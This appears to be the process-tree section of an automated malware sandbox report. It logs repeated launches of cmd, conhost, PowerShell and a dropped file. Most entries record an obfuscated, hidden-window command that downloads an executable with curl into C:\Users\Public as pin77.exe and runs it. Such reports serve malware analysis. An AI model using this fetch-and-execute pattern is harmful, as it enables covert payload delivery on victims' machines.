                                                                                                                                                  Target ID:5
                                                                                                                                                  Start time:12:05:59
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Target ID:6
                                                                                                                                                  Start time:12:05:59
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Target ID:9
                                                                                                                                                  Start time:12:06:05
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Target ID:10
                                                                                                                                                  Start time:12:06:06
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Target ID:11
                                                                                                                                                  Start time:12:06:06
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:12
                                                                                                                                                  Start time:12:06:14
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Antivirus matches:
                                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                                  • Detection: 3%, Virustotal, Browse

                                                                                                                                                  General

                                                                                                                                                  Target ID:13
                                                                                                                                                  Start time:12:06:14
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:15
                                                                                                                                                  Start time:12:06:14
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:16
                                                                                                                                                  Start time:12:06:15
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:18
                                                                                                                                                  Start time:12:06:22
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:19
                                                                                                                                                  Start time:12:06:23
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:20
                                                                                                                                                  Start time:12:06:23
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:21
                                                                                                                                                  Start time:12:06:23
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:25
                                                                                                                                                  Start time:12:06:29
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:28
                                                                                                                                                  Start time:12:06:34
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:29
                                                                                                                                                  Start time:12:06:34
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff68f300000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:30
                                                                                                                                                  Start time:12:06:34
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:31
                                                                                                                                                  Start time:12:06:40
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:32
                                                                                                                                                  Start time:12:06:47
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:33
                                                                                                                                                  Start time:12:06:47
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:34
                                                                                                                                                  Start time:12:06:47
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:35
                                                                                                                                                  Start time:12:06:51
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:36
                                                                                                                                                  Start time:12:07:04
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:37
                                                                                                                                                  Start time:12:07:04
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:38
                                                                                                                                                  Start time:12:07:05
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:39
                                                                                                                                                  Start time:12:07:09
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:40
                                                                                                                                                  Start time:12:07:20
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:41
                                                                                                                                                  Start time:12:07:20
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:42
                                                                                                                                                  Start time:12:07:21
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:43
                                                                                                                                                  Start time:12:07:26
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:45
                                                                                                                                                  Start time:12:07:30
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:46
                                                                                                                                                  Start time:12:07:37
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:47
                                                                                                                                                  Start time:12:07:37
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:48
                                                                                                                                                  Start time:12:07:37
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:49
                                                                                                                                                  Start time:12:07:44
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:50
                                                                                                                                                  Start time:12:07:56
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:51
                                                                                                                                                  Start time:12:07:56
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:52
                                                                                                                                                  Start time:12:07:57
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:54
                                                                                                                                                  Start time:12:08:02
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:55
                                                                                                                                                  Start time:12:08:16
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:56
                                                                                                                                                  Start time:12:08:17
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:57
                                                                                                                                                  Start time:12:08:17
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:58
                                                                                                                                                  Start time:12:08:21
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
